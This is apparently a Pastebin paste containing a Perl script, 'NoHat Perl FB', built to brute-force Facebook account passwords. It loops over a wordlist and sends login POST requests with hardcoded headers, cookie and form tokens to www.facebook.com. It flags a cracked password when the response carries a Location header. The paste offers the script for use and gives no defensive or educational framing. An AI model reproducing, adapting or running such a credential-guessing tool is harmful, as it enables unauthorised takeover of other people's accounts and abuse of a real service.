JackHaxor

NoHat Perl FB

Mar 15th, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.36 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Mutinous
  3. #
  4. #
  5.  
  6. use strict;
  7. use Net::SSLeay::Handle;
  8.  
  9. if(!defined($ARGV[0] && $ARGV[1])) {
  10.  
  11. system('clear');
  12. print "=====================================\n";
  13. print "Usage: perl $0 login wordlist.txt\n";
  14. print "=====================================\n";
  15. exit; }
  16.  
  17. my $user = $ARGV[0];
  18. my $wordlist = $ARGV[1];
  19.  
  20. open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
  21.  
  22. print "\n[+] Cracking Started on: $user ...\n\n";
  23. print "=======================================\n";
  24.  
  25. while (my $password = <LIST>) {
  26. chomp ($password);
  27. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  28.  
  29. my $a = "POST /login.php HTTP/1.1";
  30. my $b = "Host: www.facebook.com";
  31. my $c = "Connection: close";
  32. my $e = "Cache-Control: max-age=0";
  33. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  34. my $g = "Origin: https://www.facebook.com";
  35. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  36. my $i = "Content-Type: application/x-www-form-urlencoded";
  37. my $j = "Accept-Encoding: gzip,deflate,sdch";
  38. my $k = "Accept-Language: en-US,en;q=0.8";
  39. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  40.  
  41. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  42. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  43. my $cl = length($post);
  44. my $d = "Content-Length: $cl";
  45.  
  46.  
  47. my ($host, $port) = ("www.facebook.com", 443);
  48.  
  49. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  50.  
  51.  
  52. print SSL "$a\n";
  53. print SSL "$b\n";
  54. print SSL "$c\n";
  55. print SSL "$d\n";
  56. print SSL "$e\n";
  57. print SSL "$f\n";
  58. print SSL "$g\n";
  59. print SSL "$h\n";
  60. print SSL "$i\n";
  61. print SSL "$j\n";
  62. print SSL "$k\n";
  63. print SSL "$l\n";
  64. print SSL "$cookie\n\n";
  65.  
  66. print SSL "$post\n";
  67.  
  68. my $success;
  69. while(my $result = <SSL>){
  70. if($result =~ /Location(.*?)/){
  71. $success = $1;
  72. }
  73. }
  74. if (!defined $success)
  75. {
  76. print "\033[1;31m[-] $password -> Failed \n";
  77. close SSL;
  78. }
  79. else
  80. {
  81. print "\033[1;32m\n########################################################\n";
  82. print "[+] \033[1;32mPassword Cracked: $password\n";
  83. print "\033[1;32m########################################################\n\n";
  84. close SSL;
  85. exit;
  86. }
  87. }
Add Comment
Please, Sign In to add comment